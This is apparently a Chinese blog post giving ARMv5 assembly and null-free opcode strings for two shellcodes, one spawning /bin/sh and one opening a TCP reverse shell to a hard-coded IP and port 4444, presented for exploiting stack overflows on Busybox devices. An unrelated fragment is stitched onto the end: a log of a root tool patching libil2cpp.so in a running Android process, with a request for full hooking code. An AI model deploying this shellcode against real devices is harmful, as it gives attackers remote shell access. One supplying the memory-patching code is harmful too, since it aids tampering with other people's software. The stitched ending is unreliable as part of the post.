Armv5_shellcode

本文介绍了如何编写适用于ARMv5指令集的shellcode,包括用于执行/bin/sh的shellcode和实现TCP反向shell的功能。这些shellcode在特定场景下,如存在栈溢出漏洞的Busybox环境中,可用于安全研究和漏洞利用。代码经过优化,无NULL byte,确保了在目标平台上的执行可行性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Armv5_shellcode

背景:

​ 由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。

适用场景:

​ 1.目标适用busybox

​ 2.有栈溢出或者其他可以劫持程序流程漏洞

​ 3.内存中布置好此段shellcode,且能执行

适用busybox
/*
#execve("/bin/sh",["/bin/sh"],NULL)
#Date:2022-4-14
#Author:doudoudedi
#Text:F1C200s
*/
.section .text
.global _start

_start:
	.ARM
	eor r4,r4,r4
	strb r4,[sp,#-14]
	mov r7,#0x68
	strb r7,[sp,#-0x15]
	mov r7,#0x73
	strb r7,[sp,#-0x16]
	mov r7,#0x2f
	strb r7,[sp,#-0x17]
	mov r7,#0x6e
	strb r7,[sp,#-0x18]
	mov r7,#0x69
	strb r7,[sp,#-0x19]
	mov r7,#0x62
	strb r7,[sp,#-0x1a]
	mov r7,#0x2f
	strb r7,[sp,#-0x1b]
	add r4,sp,#-0x1b
	add r3,pc,#1
	bx  r3
	.THUMB
	mov r0,r4
	push {r0,r1}
	mov r1,sp
	mov r2,#1
	sub r2,r2,#1
	mov r7,#0xb
	svc #1
/*
opcode
"\x04\x40\x24\xe0\x0e\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x20\x1c\x03\xb4\x69\x46\x01\x22\x01\x3a\x0b\x27\x01\xdf\xc0\x46"
*/
Reverse Shell TCP(Armv5)

Armv5反弹shell,注意第二个参数需要时/bin/sh地址的指针数组,且数组第二个为空或者有效地址。

/*
#reverse_ip=20.21.2.26,port=4444
#Date:2022-4-15
#Author:doudoudedi
#Text:F1C200s

.section .text
.global _start

_start:
	.ARM
	eor r4,r4,r4
	mov r7,#0x14
	strb r7,[sp,#-0x28]
	mov r7,#0x15
	strb r7,[sp,#-0x27]
	mov r7,#0x2
	strb r7,[sp,#-0x26]
	mov r7,#0x1a
	strb r7,[sp,#-0x25]
	mov r7,#2
	strb r7,[sp,#-0x2c]
	strb r4,[sp,#-0x2b]
	mov r7,#0x11
	strb r7,[sp,#-0x2a]
	mov r7,#0x5c
	strb r7,[sp,#-0x29]
	strb r4,[sp,#-0x14]
	mov r7,#0x68
	strb r7,[sp,#-0x15]
	mov r7,#0x73
	strb r7,[sp,#-0x16]
	mov r7,#0x2f
	strb r7,[sp,#-0x17]
	mov r7,#0x6e
	strb r7,[sp,#-0x18]
	mov r7,#0x69
	strb r7,[sp,#-0x19]
	mov r7,#0x62
	strb r7,[sp,#-0x1a]
	mov r7,#0x2f
	strb r7,[sp,#-0x1b]
	add r4,sp,#-0x1b
	add r5,sp,#-0x2c
	add r3,pc,#1
	bx  r3
	.THUMB
	mov r0,#2
	mov r1,#1
	eor r2,r2,r2
	mov r7,#200
	add r7,r7,#81
	svc #1
	mov r6,r0
	mov r1,r5
	mov r2,#0x10
	add r7,r7,#2
	svc #1
	mov r0,r6
	eor r1,r1,r1
	mov r7,#63
	svc #1
	mov r0,r6
	add r1,r1,#1
	svc #1
	mov r0,r6
	add r1,r1,#1
	svc #1
	mov r0,r4
	eor r1,r1,r1
	eor r2,r2,r2
	push {r0,r1}
	mov r1,sp
	mov r7,#0xb
	svc #1
opcode:
shellcode="\x04\x40\x24\xe0\x14\x70\xa0\xe3\x28\x70\x4d\xe5\x15\x70\xa0\xe3\x27\x70\x4d\xe5\x02\x70\xa0\xe3\x26\x70\x4d\xe5\x1a\x70\xa0\xe3\x25\x70\x4d\xe5\x02\x70\xa0\xe3\x2c\x70\x4d\xe5\x2b\x40\x4d\xe5\x11\x70\xa0\xe3\x2a\x70\x4d\xe5\x5c\x70\xa0\xe3\x29\x70\x4d\xe5\x14\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x2c\x50\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x06\x1c\x29\x1c\x10\x22\x02\x37\x01\xdf\x30\x1c\x49\x40\x3f\x27\x01\xdf\x30\x1c\x01\x31\x01\xdf\x30\x1c\x01\x31\x01\xdf\x20\x1c\x49\x40\x52\x40\x03\xb4\x69\x46\x0b\x27\x01\xdf"
*/

以上脚本都可以优化欢迎优化

获取到目标进程PID: 31495 libil2cpp.so 内存映射段(共53段): 段1: 0x000000735ef3f000 - 0x00000073648bf000(长度: 0x0000000005980000) 段2: 0x00000073648bf000 - 0x00000073648c1000(长度: 0x0000000000002000) 段3: 0x00000073648c1000 - 0x00000073648c9000(长度: 0x0000000000008000) 段4: 0x00000073648c9000 - 0x00000073648ca000(长度: 0x0000000000001000) 段5: 0x00000073648ca000 - 0x00000073648ce000(长度: 0x0000000000004000) 段6: 0x00000073648ce000 - 0x00000073648d1000(长度: 0x0000000000003000) 段7: 0x00000073648d1000 - 0x000000736492d000(长度: 0x000000000005c000) 段8: 0x000000736492d000 - 0x000000736492e000(长度: 0x0000000000001000) 段9: 0x000000736492e000 - 0x0000007364932000(长度: 0x0000000000004000) 段10: 0x0000007364932000 - 0x0000007364933000(长度: 0x0000000000001000) 段11: 0x0000007364933000 - 0x0000007364934000(长度: 0x0000000000001000) 段12: 0x0000007364934000 - 0x0000007364935000(长度: 0x0000000000001000) 段13: 0x0000007364935000 - 0x0000007364939000(长度: 0x0000000000004000) 段14: 0x0000007364939000 - 0x000000736493a000(长度: 0x0000000000001000) 段15: 0x000000736493a000 - 0x000000736493b000(长度: 0x0000000000001000) 段16: 0x000000736493b000 - 0x000000736493c000(长度: 0x0000000000001000) 段17: 0x000000736493c000 - 0x0000007364bc1000(长度: 0x0000000000285000) 段18: 0x0000007364bc1000 - 0x0000007364bc2000(长度: 0x0000000000001000) 段19: 0x0000007364bc2000 - 0x0000007365203000(长度: 0x0000000000641000) 段20: 0x0000007365203000 - 0x0000007365204000(长度: 0x0000000000001000) 段21: 0x0000007365204000 - 0x0000007365226000(长度: 0x0000000000022000) 段22: 0x0000007365226000 - 0x0000007365227000(长度: 0x0000000000001000) 段23: 0x0000007365227000 - 0x000000736523c000(长度: 0x0000000000015000) 段24: 0x000000736523c000 - 0x000000736523d000(长度: 0x0000000000001000) 段25: 0x000000736523d000 - 0x0000007365258000(长度: 0x000000000001b000) 段26: 0x0000007365258000 - 0x0000007365259000(长度: 0x0000000000001000) 段27: 0x0000007365259000 - 0x00000073653b7000(长度: 0x000000000015e000) 段28: 0x00000073653b7000 - 0x00000073653b8000(长度: 0x0000000000001000) 段29: 0x00000073653b8000 - 0x0000007366713000(长度: 0x000000000135b000) 段30: 0x0000007366713000 - 0x0000007366714000(长度: 0x0000000000001000) 段31: 0x0000007366714000 - 0x0000007366716000(长度: 0x0000000000002000) 段32: 0x0000007366716000 - 0x0000007366717000(长度: 0x0000000000001000) 段33: 0x0000007366717000 - 0x0000007366e37000(长度: 0x0000000000720000) 段34: 0x0000007366e37000 - 0x0000007366e39000(长度: 0x0000000000002000) 段35: 0x0000007366e39000 - 0x0000007367359000(长度: 0x0000000000520000) 段36: 0x0000007367359000 - 0x000000736735a000(长度: 0x0000000000001000) 段37: 0x000000736735a000 - 0x00000073676c6000(长度: 0x000000000036c000) 段38: 0x00000073676c6000 - 0x00000073676c7000(长度: 0x0000000000001000) 段39: 0x00000073676c7000 - 0x00000073676cb000(长度: 0x0000000000004000) 段40: 0x00000073676cb000 - 0x00000073676cc000(长度: 0x0000000000001000) 段41: 0x00000073676cc000 - 0x00000073676e8000(长度: 0x000000000001c000) 段42: 0x00000073676e8000 - 0x00000073676e9000(长度: 0x0000000000001000) 段43: 0x00000073676e9000 - 0x000000736774b000(长度: 0x0000000000062000) 段44: 0x000000736774b000 - 0x000000736774c000(长度: 0x0000000000001000) 段45: 0x000000736774c000 - 0x00000073677f9000(长度: 0x00000000000ad000) 段46: 0x00000073677f9000 - 0x00000073677fa000(长度: 0x0000000000001000) 段47: 0x00000073677fa000 - 0x0000007368202000(长度: 0x0000000000a08000) 段48: 0x0000007368202000 - 0x0000007368203000(长度: 0x0000000000001000) 段49: 0x0000007368203000 - 0x000000736a4b9000(长度: 0x00000000022b6000) 段50: 0x000000736a4c9000 - 0x000000736b3bd000(长度: 0x0000000000ef4000) 段51: 0x000000736b59f000 - 0x000000736b5a2000(长度: 0x0000000000003000) 段52: 0x000000736b5af000 - 0x000000736b5b4000(长度: 0x0000000000005000) 段53: 0x000000736b5b7000 - 0x000000736b5b9000(长度: 0x0000000000002000) 进程已暂停(PID: 31495) 请输入目标地址(十六进制,例如7B29F2E168): 7366E3C168 请输入要写入的整数值(十进制,例如123456789): 505416143 页备份成功(页起始地址: 0x0000007366e3c000) 成功: 使用syscall 124 刷新缓存 缓存强刷新成功 页已恢复(原始值已写回) 进程已恢复运行(PID: 31495) 进程已恢复运行,正在执行原始逻辑... 恢复后的值: 505416142 验证成功:值已恢复为原始值 成功: 使用syscall 124 刷新缓存 验证成功:CPU执行的是新指令 Hook完成!进程已恢复正常运行 代码成功获取pid 成功暂停进程 成功备份页 成功写入也 成功成功刷新缓存 成功恢复页 成功恢复进程 问题:进程恢复后执行的逻辑不是我修改汇编指令的逻辑 依然是原逻辑 我查询了多个资料 发现是当前进程无法刷新目标进程的指令缓存 有没有靠谱的用户层方案?我具备root环境 解决完确认无报错后完整发给我代码 不要省略
最新发布
07-16
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值